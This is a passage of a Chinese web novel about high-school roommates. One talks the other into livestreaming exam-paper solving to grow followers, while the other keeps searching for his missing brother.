谢恒逮不到他,又跑到方笑贻这里来找备胎,可一看他的分数,只有109,又绝望了。 “完了完了,”他抱着头说:“天要亡我榆林一中了。” 方笑贻好笑地说:“不至于,你还可以卧薪尝胆、狂卷3年,到高考时再夺回你失去的一切。” “不行的,”谢恒说,“我不想失去,我现在就想拥有。” 可没有这个实力,方笑贻说:“那咋整?” 谢恒就叫他去劝边煦,方笑贻摇头说:“劝过了,丫心如铁石。” 等到第二个课间,教室里看手机的明显就多了,因为网上出现了一个#卷王之夜#的话题。 方笑贻听见前排在议论。 “诶哟嘛,越搞越正规了,还有投票了。” “什么投票?” “就卷王直播啊那个卷子,现在说怕作弊,不允许自己挑卷子做了,得做网友投出来的。” “也有点道理哈。” “还多了个‘喊话’。” “喊什么话?” “卷王喊对手嘛。” “哈哈哈可以的,打起来!” 方笑贻在后面听墙角,难得还怪有参与感的。 下了自习,好多人蹭蹭就跑了,一部分走读的,为了看热闹,压根都不回去了,也跑到寝室里去扎堆,包括谭威。 不过他没有到300来,只在手机上嗷嗷地,回他自己的寝室去了,他在新班级也交了新朋友。 边煦一下课又不见了,也没回寝室。 方笑贻一回去就洗了,洗完也被传染了,坐到椅子上去看这个。 网上,话题里又多了新的热点讨论,有押分的,押程状元会考120+。也有押他下个对手的,提名里有个“边某同学”,回答后头还有21个赞。 方笑贻心想:那家伙,一点都不燃,不争气,也没有集体荣誉感,还赞什么赞。 就在下面点了个“踩”。 到了9点51分,谢恒在群里甩了个链接,全群发艾特,说要开始了。 方笑贻一进去,就发现档次不一样了,人家六中,用的居然是双屏直播。 两个屏,一个对着背、一个从头顶往下播,两个镜头里,坐着一个发旋端正、头发浓密,身穿短袖白衬衣的修长挺拔背影。 与此同时,还有个隐约耳熟的男声在直播里说话。 “好了哈!现在22年的卷子,我们已经打来了,然后喊话的对手,是……” 背影那张屏上,很快出现了一张纸,纸上是龙飞凤舞的四个字:榆一 边 那一瞬间,方笑贻忽然听出来了:那个说话的,好像是唐悦。 24-30 第24章 (一) 他的好基友,正在给他命中注定的对手摇旗助威。 这种组合,显得边煦惨惨的。 不过方笑贻没空同情他,因为评论区还有别的东西。 [LVY]:不是,开头调镜头那块儿,谁能告诉我,这是宿舍还是宜家样板间? [吐司夹油条]:本市最好的高中,你说呢 [Moon]:有酒店那么大的刷牙池子,不算什么的,他们还有电梯[开心] [摸鱼集团]:六中就一个字,壕无人性 …… 方笑贻这才晓得,一中在他看来已很不错的条件,比六中又还是逊色不少。而在其他地方,可能还有比六中更好的学校。 这一瞬间,他心里是嫉妒的,带着不平衡和恐惧的那种。 差距太大太大了,让人忍不住怀疑,努力永远不会产生作用了。 不过很快,方笑贻又回过神了,起点不一样,路径也不一样,他要竞争的对手,并不是这些生来就在山峰上的人,只是同届考生的前20%。 老杨说,人要知道自己是谁,不能瞎比,但也不能不比,得找到射程范围的靶子,好好打。 但是骤然的嫉妒还是会有的,方笑贻也不会刻意去压制它了,黑泥是需要吐的,偷偷的。 所以他又清醒地嫉妒了一会儿:艹,寝室怎么可以这么牛笔? 随后,评论区乱闪一通后,又忽然跳出个眼熟的id。 [A寻梦]:哦莫,我看到了什么[捂眼] [A寻梦]:那我先不不表白了,我挑一挑[龇牙] 底下就有人笑,说:哈哈哈表白姐又来了。 “表白姐”是九中这位女卷王,评论区粉丝给她取的昵称,因为她压力一大,就会说:啊啊啊压力好大啊,得找个男神表白了,把压力传给他。 这种人,就很鲜明,独特的令人过目难忘。 而同样是学生,有人优秀、有人鲜明、有人优秀又鲜明,那自己呢? 方笑贻想了想,脑中的标签倒也鲜明:穷。 很快,直播间里,不知藏在哪里的唐悦喊了声:“老程,回下头,证明咱没找代考哈。” 然后对背的镜头里,椅子上的人就回了下头。 他留三七分碎发刘海,戴无框眼镜,脸上还有个蓝色医用口罩。然后那件白衬衫,跟何子谦的男神装也不一样,人家那是校服。但他哪怕不露脸的整个感觉,也比何子谦男神多了。 评论区霎时又刷起一啊啊啊,以此来烘托主播相貌的成功。 但方笑贻不是女生,又天天对着边煦,这种冲击不到他,他只是在扫完直播间的状况,还没扫完,人家用的号的粉丝量,谢恒就从门外跳了进来。 “我去俺们边董呢?”他见屋里没人,还去卫生间张望了一下,“不会故意在躲我吧?” 跟着他一起进来的,还有一股炸鸡的味道。 方笑贻抬眼一看,发现他也是神通广大,臂弯里不知道从哪儿,还箍了个全家桶来,一副熬夜看欧洲杯的样子,登时就服了,又说:“不至于的班长,边董天天都这样,夜不归宿的。” 谢恒纳闷:“他干嘛去了?幽会?” 边煦可以跟谁幽会,方笑贻脑子里一片空白,他说:“不晓得。” 谢恒抱着桶过来:“你给他打电话,把他打回来。” 方笑贻没他电话,摇了下头:“打不回来。” 谢恒又把桶往他面前一送:“打不回来也有得吃。” 方笑贻已经刷牙了,但还是合群,捏了个鸡小腿出来。 谢恒忙着去分吃的,说着又跑了:“待会他回来了,你喊我哈,我还要找他做工作的,我去好努力啊本班长!” 方笑贻觉得他有点搞笑男的潜质了。 * 边煦本来,躲在他寝室这边的秘密基地里玩。 他待过的每个学校,都有他的秘密基地。 来六中之后,时间还不够,目前只找到了两个,一个在教学楼顶上,有个老的公共教室,没人用,里头还有架破钢琴。还有一个,就是寝室这个。 它在这一栋的6层半,在背对300那边,有个杂物间。 它关着门,门上是那种拧的把手。边煦原来以为,它门外这边是死的,不能拧。 但他有天又随便拧了下,然后它就开了,里头没有东西,白墙、空地、一个窗、一个不亮的灯,但它没有人,边煦就在地上铺了件外套。 今天,白天,老袁没有回他的消息。晚上,学校里又哪哪儿都在讨论程慎。 谢恒八成也没回家,在寝室里蹲他,所以熄灯之前,边煦不想回去,他猫在这里刷GitHub的co-polit论坛组,原本还刷得挺有味的。 直到唐悦给他打了个视频。 “你在看直播没有?”边煦一接通,就看见他在那边嘚瑟。 边煦说:“没有。” 唐悦立刻就不满了:“你为什么不看?” 边煦说:“关你什么事,没……” 没别的事就挂了,他肯定是这一句。 唐悦一瞅屏幕对面,他坐在一片惨淡的白墙前面,又不知道躲在哪儿,就直接给他打断了。 “怎么不关?那个直播间是我的搞的耶,你都不知道有多牛笔!” 边煦说:“那我更不想看了。” “劳资锤死你,”唐悦骂完又说,“你哪天直播?我不厚此薄彼的,逃课又翻墙,也去给你搭直播间,搭个更刁的。” 边煦说:“用不上,我不直播。” “上吧,”唐悦一副搞传.销的语气,“上一下~老程都直接cue你了。” 边煦闻言,倒是一愣,程慎已经快3年没跟他说话了。 唐悦捕捉到了这个表情,立刻又说:“他多装的一个人啊,这就是在向你低头了,示好,你就格局大点,原谅他吧。” 说完唐悦自己挂了,屏幕弹回了论坛上,可边煦有点看不进字了。 原谅?他有资格原谅别人吗? 一碰到出轨这种事,大家好像就默认了,是女的勾引了男的。 而且,原谅了又能怎么样呢?自己的妈跟他的爸,还在一块儿和和美美。 边煦心想:尴尬得要死。 不过状态不对,他就不看了,提着门外那把从刘丞丞姐姐店里买来的椅子,下楼去了。 回到300,方笑贻在椅子上…… 边煦没进门时,以为他在写作业,因为他趴在桌上,写什么的样子。可进来之后,边煦才看见,他跟前还有个手机,那竖着的屏幕上有个脑袋和背影,是边煦很熟悉的。 边煦见状,登时就觉得索然无味:方笑贻跟别的同学,也没区别。 可是边煦不想看见程慎,刚去放下椅子,准备去洗,却又发现,方笑贻跟前有张纸,那纸上写着2排数据: t 人数 点赞 关注 55 899 1315 1157 +20 1504 7645 1781 边煦不用问他,立刻也转过弯了,这是程慎的直播数据。 只是,他记这东西干什么? 真是一个奇怪的观看角度,边煦有点稀奇了,出声说:“你在干嘛?” 方笑贻戴了一只耳机,没注意到他进来了,闻言惊了下,扭头差点就是一句:关你啥事。 但又看见了边煦手里的椅子,连忙把杠劲咽了回去,梗了下,切入了新的室友和睦模式:“看直播啊。” 边煦把椅子放在桌子侧边,手又往前往前,拿指尖把他那张纸转到自己这边,说:“我问的是这个,你记这些东西干嘛?” “不干嘛,”方笑贻催他,“你可以去洗了。”一洗洗半夜。 边煦压根不动,垂眼看着他说:“不可能,人不会无缘无故地去干一件事,你肯定是有个出发点的。” 他要刨根问底,方笑贻也不怕他刨,说:“是有啊。” “啥嘛?”边煦说。 啥和咋,其实都是方笑贻的口癖。但边煦吸收快,已经学废了。 不过方笑贻没注意到,只听他语气温温吞吞的,也没吊他:“我在研究这一场直播下来,到底能涨多少个粉。” “研究了,然后呢?”边煦露出若有所思的表情,“你也要去直播涨粉吗?” 方笑贻还真不敢,他去直播,考个0分,拉着一中被骂死吗?但这不妨碍他胡说:“是啊,我要去直播,然后涨粉带货,我要当高中版的李佳琪,你觉得怎么样?” 边煦瞠眼盯了他一下,心里一阵啼笑皆非:他的人设,怎么这么稳固? 但边煦喜欢稳固的东西,不容易变。 于是他把纸转回给方笑贻,腾出来时,顺手又在他肩上拍了两下,以示鼓励:“我觉得挺好的,你加油。” 方笑贻仰脸看着他,心里越看越想笑:自己在搞抽象啊,他为什么要这么正经? “你是不是,在挖苦我?”方笑贻说。 边煦浅浅斜了他一下:“……上一句没有,但是这句真的想挖了。” 方笑贻登时就乐了:“谁叫你说的那么简单,怎么加啊?一题不会。” 如果只是为了涨粉,边煦也没多想,张嘴就说:“你不会,换个会的,用你的号播不就行了?” 方笑贻眼前一亮,就把目光定他脸上了。 只是没等他开口,边煦就跟会读心似的,轻轻指了他一下:“别打我的主意,我也不会。” “不可能,”方笑贻仰眼看着他,“你肯定会。” 他笃定得不像样,边煦看着有点好笑:“你又知道了?你是我肚子里的蛔虫啊?” 方笑贻说:“你旗鼓相当的对手都会,你凭什么不会?” 凭他不想参加,边煦扯开视线,越过他走了:“胡搅蛮缠懒得跟你说,我去洗了。” 但方笑贻还是想涨粉,毕竟直播带货还是火,而他也用方雪晴的身份证弄过一个号,因为没特色所以没起色,就扔在那里了。 可这个[卷王之夜],它有流量。 方笑贻心思一动,轻易就不肯放弃了,他跟着边煦,从桌前转到衣柜那边,又把左腿屈到椅子上,眼里有人,但实际焦距是虚的,只有大脑在狂转。 需求、需求,边煦的需求。 哦,找酒鬼,算一个。 那自己帮他找? 会不会给家里惹麻烦? …… 可边煦别的需求,方笑贻又根本想不到了。 而与此同时,他虚焦里的人影也开始移动。霎时,一股冲动涌进脑海:管他的先冲! 边煦的衣柜右门内侧,贴了一个镜子,以前的寝员留下的。 它把方笑贻那一串微表情,照了个一览无余:蹙眼、扬眉、瘪嘴、眨巴眼……很忙、很愁,又不知道在琢磨什么。 但它很鲜活,让他显得很有人味。 边煦觉得挺好玩儿,就从镜子里盯他。可很快,他眼里就精光一闪,眼睛有神了,但微表情一下都不见了。 “边煦。”方笑贻喊他。 边煦从镜子上看得到他,就没回头:“嗯?” 方笑贻怂恿他:“你就播嘛,用我的号,播了我帮你找酒鬼。” 这可真是有钱能使鬼推磨,边煦回头看他:“你又不怕那个大肚子找你麻烦了?” “怕啊,”方笑贻说,“但是富贵险中求。” 边煦实在没想到他能说出虎狼之词,瞠了下眼皮,然后笑出了声:什么跟什么啊。 但是笑完,他还是油盐不进,回过头说:“可我还是不会做,播不了。” 方笑贻一周,五天半在学校,回了家还要看店看孩子,边煦不傻,心里根本没指望靠他来找。 那天在微信上那么说,只是想跟他说话,找个借口罢了。 * 人类的本质是复读机。 边煦进了卫生间没多久,谢恒就来复读了,他拍着卫生间的破门,也说:“不可能,我都捋过一遍课本了,你咋可能不会?” 但边煦就是说不会,还把方笑贻拖下了水。 “我暑假在外面玩,玩忘了,”他在水声里说,“不信你问方笑贻,我俩暑假在路上还碰到过。” 谢恒立刻回头来求证:“真的吗?” 是真的,有半天是真的。 可方笑贻刚被边煦熄灭了带货的梦,此刻还含恨在心,瞬间叫他翻车:“假的。” 谢恒立刻又去拍门:“笑死,人方老板说是假的。” 边煦说:“方老板刚跟我吵架了,骗你的。” “啊?”谢恒又问方笑贻,“你俩在吵啥?” 方笑贻掐掉了交易的部分:“我叫他去直播,他不去。” “那也不用吵啊,”谢恒以身做则地蛐蛐,“你看我,我就知道他是装的,但我也不生气。” 班长格局是大的,方笑贻想笑又无语:“……你是怎么知道的?” 谢恒把手一挥:“根本不用怎么,搞过竞赛的,他们进度都快。” 可快也没用,边煦不肯参加,两人哔哔了一下他的理由,最后谢恒说:“可能他就是不想上镜头,有人就是这样的。” 方笑贻都愿意去当李佳琪了,永远理解不了这个,不想说他了。 谢恒也说不动,两人又看了一眼直播,没什么新鲜的,谢恒又把话题跳了回去:“真的假的,你俩暑假碰到过?” 真的假不了,方笑贻说:“是碰到过一回。” “这么有缘?”谢恒感慨道,“在哪儿碰到的?” 方笑贻说:“四海市场。” 这时,卫生间里的水声忽然停了。 但谢恒忙着恍然大悟,没注意:“哦哦哦四海综合市场,我知道!那里有一个三和大神的聚集地,对不对?” 方笑贻有点诧异地看了他一眼:“是有,但你是怎么知道的?这个地方,不有名吧?” 除了身在那里的,和即将要去的,它和其他名气不大的地区,在名气上是没有太大区别的。 谢恒说:“我是在网上刷到的,我有个关注的旅游博主,他去四海拍过三和老哥。” 方笑贻点了下头:“哦。” 谢恒又说:“那你俩是怎么碰到的?” 方笑贻现在想起那天,居然有种过了挺久的错觉,可能是因为跟边煦接触得浓度太高了,关系变了,所以对陌生时的印象也变陌生了。 他简单跟谢恒说了下:边煦被一个中介缠住了,快烦死。然后那个中介认识他,碰到打了个招呼,边煦就把他剜了一眼。 “迁怒啊,”谢恒幸灾乐祸道,“你好惨。” 方笑贻因为赏了边煦一个手势,所以感觉还好。 谢恒是个十万个为什么,又说:“他去那儿干嘛呀?” 方笑贻眼帘轻轻往下一耷:“玩儿啊,他……” 话没说完,边煦就忽然拉开了卫生间的门。 但方笑贻大半对着那边,被他蓦然闯入眼帘,边说边就看到了他脸上:“……不是说了吗?” 边煦也在看他,目光初而深,眨眼间又浅了,十分温地插了句嘴:“说了什么?” 但是方笑贻看见了,他开门那会儿,眼神其实是紧绷的,衣领口上,隐隐也露着一点风团。 这是,不想让自己透露他去四海干嘛的意思吗? 随着这念头的一闪而过,寝室的灯,在这一刻忽然熄了。 方笑贻松开刻意收敛的表情,但语气更加若无其事了:“说你暑假在玩儿,去四海耍了。” “是啊,”谢恒一无所觉,接完他的茬,又转头问边煦,“所以四海好玩吗?” 除了方笑贻,那里没有任何愉快的回忆。 但又看在他的份上,边煦没有对四海露出鄙夷,他只说:“不是很好玩,有点乱。” 谢恒“哦”了一声,又做了下无用功,在边煦的冥顽不灵下败走了。 等他走了,方笑贻抹黑去关了门,回过身来,边煦已经从卫生间门口出来了,但他边走边在背上挠了两下。 方笑贻见状,沉默一瞬,又说:“你没洗好,就回去洗啊。” 边煦本来想狡辩,说洗好了。 可实际他抢出门来打断,方笑贻看出来了吧?不然他怎么会说,自己没洗好呢? 边煦其实一直知道,自己长得不友善,上次瞪他一眼,他就越误会越深,这次万一又误会了…… 边煦一想就头大,略一迟疑,调转脚尖对着他说:“好。然后我也拜托你一件事,我在四海找孙竞东,除了唐悦,你不要跟别人说,我不想让别人知道,行吗?” 方笑贻本来也没说,但是边煦说开了,他心里就不用怀疑了,这样挺好。 可是为什么呢? 方笑贻心里又有疑问了,但他感觉就是问了也白问,就只拖着一副“欠了你的”语气说:“行——” 边煦心里才放心了,“嗯”了一声,正要回去洗。 方笑贻却听他“嗯”得太轻快,瞬间又感觉吃亏了。 于是他一把就拉住了边煦,讹诈道:“你等会儿,我付出了一张要保守秘密的嘴,对吧,你呢?别想白嫖,给我去直播涨粉。” 边煦:“……” 第25章 (二) 服了。 边煦的头又大了。 可一物降一物,方笑贻的要求,偏偏又刚刚,提在了自己的拜托之后。 边煦实在无法对他太冷硬,只好意思性地挣了一下,也没挣掉:“我不想直播,我……去给你买粉,行了吧?你要多少?” 方笑贻悠闲地把头一歪:“不行。” “有什么不行的?”边煦无语了,不都是从0变成250吗? “买来的粉太无情了,”方笑贻边说,边在夜色里憋笑,“过两天就没影了。” 而且刁难B-king,多好玩哪。自己就算了,可看看他,都把谢恒都拒绝成啥样了,他也无情。方笑贻就是整他。 边煦又说:“没影了我再给你买。” 他这么糟蹋钱,方笑贻受不了:“你人傻钱多啊?别过一阵你家里把我告了,说我骗你钱,别搞。” 边煦:“……” 哪来这么多清奇的角度啊?真的醉了。 最后边煦没辙了,只好澡遁:“你……让我想想,啊?我先去洗了,我背上好痒。” 说着自己拿手把方笑贻的手指扳开一个缝,溜了。 方笑贻也心旷神怡,又略带昏蒙地回铺上躺平了。 他早上起早了,又没睡午觉,这会脑子已经快关机了,所以他抬起手机没瞅两眼,退出来的时候,直播间的人数,是1w+。 恐怖,吃瓜群众在吃瓜上,可以和卷王刷题一样努力。 但是边煦又开始洗了,方笑贻听到水声,也酝酿不出睡意,反而满脑子都是他这个毛病。 什么毛病啊这是? 方笑贻越想又好奇,干脆又把手机摸起来,到搜索框里去输字:洗澡痒 然后搜索一点,出来一大堆,第一个帖子就是:接触热水引起的胆碱能性荨麻疹 这是半串生僻的文字,方笑贻点开它,看见评论区居然有400多条: [煎蛋饼子]:我以为只有我一个人这样 [七月新]:要疯了,人类为什么要洗澡,身上都快挠烂了! [HowAY]:我每次洗完澡巨痒[大哭] [永不再熬夜]:痒起来真的要命,每天都要吃这个药[药盒附图] …… 方笑贻看看手机,又看了眼卫生间的门:洗澡这么舒服的事,原来会让边煦,这么难受吗? 边煦这回出来快,因为前面洗了一半了。 胆碱就是要么不洗,要么洗透,要么就喝过敏药。他小时候就是不肯洗,老被于静涵骂,再瞎洗洗,去喝药。现在大了会自救了,直接就选第二项。 他拉开门,方笑贻破天荒的,居然还在玩手机。 可他头朝在爬梯那边,边煦以为他还在看程慎直播,就觉得浪费睡眠,说:“你还不睡?一会儿又半天睡不着。” 可实际上,方笑贻在刷的,还是他这个毛病,因为大数据,实在太谄媚了!给他推了800个相关的帖子。 #我的荨麻疹得救了! #逼走荨麻疹只需要一盆水~ #所有荨麻疹家人都去试!答应不删! …… 那他能怎么办?毕竟边煦挺惨的,单指洗澡这方面,而解决办法都钻到了他眼皮子底下,他就、看看呗,反正流量也是包月的。 然后一看点一个赞,免得过后找不到了。 截止到边煦出声之前,方笑贻也不知道赞了几个了,但听见他说话之后,立刻就把手机按灭了。 我晕!怎么就11点多了? * 翌日一早,方笑贻又自己醒了。 他摸起手机,先静音看了下家里的监控,一切正常,又去翻了下程状元的结果。他没有回放,但网上有人录屏。 方笑贻找了个带结果标签的,进去看见同样是100分钟,他考了119,分数目前是最高的,但分差实际都不大。 最后,在出分之后,结束直播之前,方笑贻看见这位状元,又把那张写着“榆一 边”的A8横线纸,放在了他写完的试卷上面。 方笑贻眼缝登时一眯:无言的挑衅啊,这是。 卷王话题,自然也被这个行为引爆了。 #一中边同学 不服来战# 火得很。 还有个up主,连夜把最后挑衅这段,截出了几张拿手指推纸的图片,又加了几个#来战#这种火文案,再循环配上《孤勇者》最耳熟能详的那一段:去吗,配吗,这褴褛的披风…… 做了个中二魂爆发的短视频,那个点赞量,也是不同凡响。 然而那个被喊话、被挑衅的边同学,方笑贻下床站起来一看,还在上铺安详地当猪。 这就是真正的逼格吗? 方笑贻看着他骨相优越的侧脸,心想:群嘲在即,还岿然不动,牛笔! 看在这种格局的份上,他今天还是没敲猪的床弦。 这货上周有两天都没扫地,还以为他不知道似的。 方笑贻只是还没腾出空来说他,这个高中上得特别瞎忙,一天天的,也不知道在干什么,就没了。 * 早读前夕,教室里,昨晚的一场直播之后,讲小话的声音更多了,到处都是蛐蛐蝈蝈。 而方笑贻因为近水楼台,一坐下也是被被左喊右拍,都是打听边煦战魂燃烧起来了没有的。 方笑贻也被问得挺烦,而实际上,他也是真的不知道。边煦昨晚没松口,今天大概,依旧顽固。 然后事实证明,方笑贻猜得也没错。 边煦今天备受关注,不止同学,连语文和生物老师都当堂问他了:战不战的? 他当着老师都直接拒绝了,对一个摇头,另一个说:战不动,班长上的。 座位上有好来事的,立刻喝了怪声倒彩。 李晨阳也在课间跑来拦截,但拦截失败之后,在三、四组的走道间大声哀叹:“完了完了完了,我们一中要被全网看扁了。” 方笑贻忙着卖荧光笔,这玩意在班上居然意外地好卖,男生女生都买,他加了一堆微信又忙着备注颜色数量,也没空鄙视李晨阳。 不想被看扁,自己上啊。 但在一个上午的发酵里,连谭威都知道要被“看扁”了,午休跑到300来震惊不满。结果边煦根本没回来,在外面躲清净,只有方笑贻被烦死了,门外一直有人跑来跑去,还说话,关了都挡不住。 到了下午,班上还是那个氛围,网上催一中应战的也多了。 吃瓜群众只会起哄:战踏马的!干他! 只有边煦继续失踪,而班长谢恒一边把题刷吐,一边焦头烂额。 “今天晚上就播?诶别别别,今天晚上我心慌,明天,明天就是80分也冲了!” 就这样,边煦的胆小自私,和班长的献身精神,继续统领了班上一下午的话题。 至于方笑贻,他上课听讲下课卖笔,同时也没忘看清形势:边煦的直播和自己带货,都没戏喽,人果然还是只能靠自己—— 算了,吃饭去。 只是饭后回来,话题和形势居然又都有了变化。 首先,是摸底考的成绩出来了,正贴在1、2组走道的尽头。 方笑贻到后门的时候,那块儿挤了几圈人,把他的凳子都挤到桌缝里去了,他没地方坐,干脆一掉头,去走廊中间趴着了。 而教室后门口,座位上杨妙频频朝走廊侧目,第4次后,终于深吸一口气,起身也出来了。 * 薄暮冥冥,红霞散金。 这个老公共教室能看到的晚霞,也并不比檀溪那些河景房差。 可惜边煦没心情欣赏了。 同学的挖苦固然烦人,但也还好,过两天就消停了。让他糟心的,是天堂河的袁老板。 昨天,他还一切正常的样子,说:找着找着,正找呢,叫他等消息。 今早,他发消息问,袁老板没回。中午,边煦给他打电话,他也没接。 边煦就察觉到不对了。 所以下午下课之后,边煦给网吧座机打了电话,还是没人接。他就加钱叫了个闪送跑腿,叫跑腿的进网吧把人给逮了。 结果,袁老板说:“我不回你,是为了你好,真的,你小子把我害惨了!姓宋的找不到你,今天在我网吧闹了一天了,我赔了他5000的医药和误工费才打发走。但是人家警告过我了,看到你了,务!必!通知他,他觉得你这娃没礼貌,欠他一个道歉。所以,你以后不要找我了,不管是打电话还是来网吧,这也是为了你的安全考虑。” 至于酒鬼,他也不肯再帮着找了,哪怕边煦自愿补足他的损失。让他推荐别人,他也没拒绝。只是隔了会儿再打回来,又说没有愿意的。 边煦也不知道是真是假,只知道挂了电话,他寻找边扬的路径,又重新回到了原点。 陌生的地方,没音讯没关……等会儿,还是点关系的。 一点昨晚明明上赶着,但却被他一口回绝的,室友关系。 刹那间,边煦人坐在晚霞下,表情终于从沉闷变向了尴尬。 什么叫翻车?这就是。边煦不用想都知道,自己回去求他,方笑贻得端成什么样儿。 但他就是端到天上去,边扬也是一定要找的,必须找到—— 边煦在楼顶做了会儿心理建设,一下楼都不用找,就看见他的目标,又跟那个女同桌,在走廊上说话。 “我听李晨阳说,不是今晚就是明天,就会调座位,你……” 杨妙期盼而紧张地看着他说:“你找同桌了吗?” 方笑贻本来趴在栏杆上,她过来喊他,他才站起来,又侧朝向他说:“还没。” 他不知道要调座位的事。 杨妙眼睛一下瞪圆了些,又喜不自禁地抿了下嘴,刚要说:那我还跟你一起坐可以吗? 一道男声就插进来说:“我也还没。” 杨妙的话就被卡住了,只目光本能地追着声音转,看见边煦站在方笑贻后面,拿右肘搭着拉杆,上身微微倾向外面,在歪头找他的脸。 然后,方笑贻扭过头,看见他不知道从哪儿冒出来地说:“我俩一起坐。” 方笑贻跟谁坐都行,暂时除了李晨阳。 但人杨妙还没说完呢,她本来就胆子小,边煦还打岔,这样对她挺不好的。 方笑贻就对他说:“你后来,你说话排队,等别人先说完。” 边煦心里明镜一样:这女生还想当他的同桌,自己一待,就得边边角角凉快了。 但他也没讨嫌,点了下头。 方笑贻又回去问杨妙,刚刚是想说什么。可边煦一抢,杨妙心里就退让了。 他俩关系本来就“还行”,边煦这次又是全校第一,她不知道自己有什么胜算。可是不平衡和沮丧这样强烈,让她一瞬间竟也爆发出了一种高密度权衡的智慧。 杨妙心跳如鼓地说:“你俩一起坐,那我跟你们一个组,可以吗?” 她看过班级排名了,她是第9,方笑贻是11,她,她是有资格跟他们建组的。 方笑贻闻言一愣:怎么他就跟边煦一起坐了?自己又没答应? 边煦就又插嘴说:“可以啊。” 杨妙顿时如释重负,这个结果她也满意了,就生怕他俩反悔似的,丢下一句话就赶紧跑了:“好!那我先回去了。” 剩下两人面面相觑。 方笑贻又转到他那边去了,满头雾水道:“你怎么突然要跟我坐了?你跟刘丞丞坐的不是挺好的吗?” 边煦也不跟他绕弯子,凑到他跟前蛐蛐地说:“因为我现在,又需要你帮我找酒鬼了。” 方笑贻拧眉,难以置信地看了他一眼,下一瞬,笑意瞬间在五官里铺满了。 然后果不其然,边煦看见他做作说:“啊?你说什么?我没听见。” 边煦只好无奈地说:“我说直播、涨粉、带货,听见了吗?” 方笑贻差点笑死。 第26章 带货的曙光灭了又亮。 方笑贻笑够了,才懵比地说:“你咋了?怎么忽然就屈服了?” 边煦确实是屈服了,向命运。 老袁昨天不拒绝他,方笑贻不肯今天问,就差一天,非要搞成这样。 等他尴尬而不失礼貌地简述完,方笑贻才发现,神助攻竟是老袁。 老袁不帮他找人了,也跟他说,没别人愿意。 而提到这个,话题从学校回到社会,气氛也随迁似的,一下沉闷下来。 这时,走廊里偶尔还是有人,边煦希望他在四海的事成为秘密,所以他俩其实不应该,在这里嘀咕这些。 但也许是挤得太近了,又或许,是两颗心都孤独已久,使得窃窃私语一起,鬼迷心窍的,竟都没停下来。 方笑贻只把声音放得更小了,说:“不愿意很正常啊,我本来也不愿意。” 边煦一半理解,一半又不能理解。 自己不该打伤那个姓宋的,那就是个地皮流氓,这种人很难缠,边煦的圈子里没有,但他见过。程慎的爸前两年投亏了一个搞医疗器械的项目,那些要债的,就能径直从程辉的皮包公司,缠到于静涵的公司再到她家,开几辆破车堵着院门,边煦也半天没去上课。 所以老袁怕事,他能理解。但方笑贻这样,边煦又费解了。 他一个学生,不好吃,也看不出惦记穿的样子,他要“富贵”干什么? “那你怎么忽然又愿意了,”边煦看着他,小声说,“你很缺钱吗?” 方笑贻心底一阵可笑,有时真的不怪他仇富,“何不食肉糜”是真的很难听。 但他目光坦荡道:“是,我缺,缺很多。” 边煦有点难以置信。 方笑贻只是看不出富,但他不穷酸。说句得罪人的话,他比杨妙,看着有钱多了。而且自己又在赚钱,已经领先同龄人至少6年了。 一瞬间,边煦真的很好奇:为什么,会缺很多? 可方笑贻没给他提问的机会,耳提面命地又对他说:“所以,你要好好给我直播,听到没有?” 边煦:“……我不就坐在那里写吗?还能干嘛?” 方笑贻一想也是,又丧心病狂地说:“还能喊哪,你叫别人关注我。” 太掉san了,边煦干不出来:“……你自己在旁边喊吧。” 方笑贻笑了两声,自己放弃了,因为做题需要安静的环境,就又问他:“是你去自己去跟班长反悔,还是我去说?” 边煦都不是很想,但还是麻木地说:“都去,你不是要出账号吗?” 方笑贻差点忘了这茬,“哦”了一声,回头看了眼座位,见那里人还是不少,就继续趴在走廊上。 边煦也没走,两人便又开始嘀咕。 边煦问他:“说起来,你人都不在四海,怎么帮我找酒鬼?” 昨天他没答应,方笑贻也就没想,但他大概有个位置,所以也不虚,一眼不错地看他:“我有认识的人在就行了,但是我帮你找,是有条件的,你去那边,不能再乱跑了,得听我的。” 这个边煦没有意见,目标明确是好事,他点了下头:“好。” 然后,楼梯间那边不知道是谁,又在说直播的事。 方笑贻看他天天在玩,忍不住有点担心起来:“你不回去刷题吗?” 边煦没动:“我没有卷子。” 方笑贻却是站不住了,拉着他就走:“没有就去打啊大哥!” 学校教学楼一层大厅里,是有自助打印机的。 边煦被他从前门那边拉下了楼,两人谁也没看见,何子谦在1、2班后前门的隔墙那里站了半天。 下了楼,A3单面打印,2块一张,而卷子有一大沓。 这价格令方笑贻脚步积极,双手却有点颤抖了:涨粉还是个未来时态,他就得付出真金白银的成本了吗? 边煦看他那个180°大转弯的样子,心里一阵好笑。 但也肯不用钞能力,插着个兜在旁边逗他:“有点贵啊,算了不打了,走吧。” 可他一点题都不做,到时要是考出个50分,方笑贻觉得也不行,因此眉头一拧两拧,给谢恒打了电话。 “班长,我跟边煦在楼下打高考卷子,他刷一下了好直播,为了班级的名誉,”方笑贻说,“这个,应该可以班费报销吧?” 好巧不巧,楼上教室里,谢恒正在拍桌子。 晚饭期间,六中程状元那个直播账号,[枪花C-Rock]又发了一条挑事图文: [一中怎么还没人理我们呀(抠鼻)] [配图-榆一 边 ] 底下蹭蹭就给点出了374个赞,还有一堆说不敢的。 谢恒简直恼羞成怒,但又敢怒不敢言,因为是真不敢,只好气得跟陈文宣抱怨:“我去!这货真的是个状元吗?怎么感觉,啧贱嗖嗖……” 然后电话就来了。 天王菩萨,圣母玛利亚。 谢恒一下蹿起来说:“报报报,组织不会让勇者吃亏!诶不对,我这儿有卷子,不过有些我做过了。算了算了打,全打,不过你俩别付钱,等着我,我马上下来!” 然后,还云里雾里的陈文宣就见他,龙卷风一样卷下了门。 等打完卷子回来,三个人集体迟到。 谢恒因为坐在前面,没办法,只能从前门打报告进。 方笑贻跟边煦不讲义气,跑到后门溜进去的。 高蓬人在讲台上,本来是要调座位的,结果班长跟第一都不在,他就只好在台上搞意见众筹:“你们喜欢怎么调座位啊?按身高、成绩、小组,还是各选各的?” 然后教室里叽叽喳喳的,选了按小组。 高蓬特别随和:“行吧,按小组,课间自己找好组织,下节课抓阄。” 一下课,刘丞丞就过来把杨妙组织上了。 “杨妙,”他说,“你、方老板、煦子和我,我们4个一组,中不中?” 杨妙被带出了一点方言音:“中。” 刘丞丞又说:“我们仨高,挡人,所以我们还坐四组最后那里,你行不?” 但高是一方面,另一方面,是边煦只喜欢坐四组最后靠内。 杨妙也没意见,她心里甚至很清楚,刘丞丞就是她的同桌。但刘丞丞又让她去抓阄,因为她是组里唯一的女士。 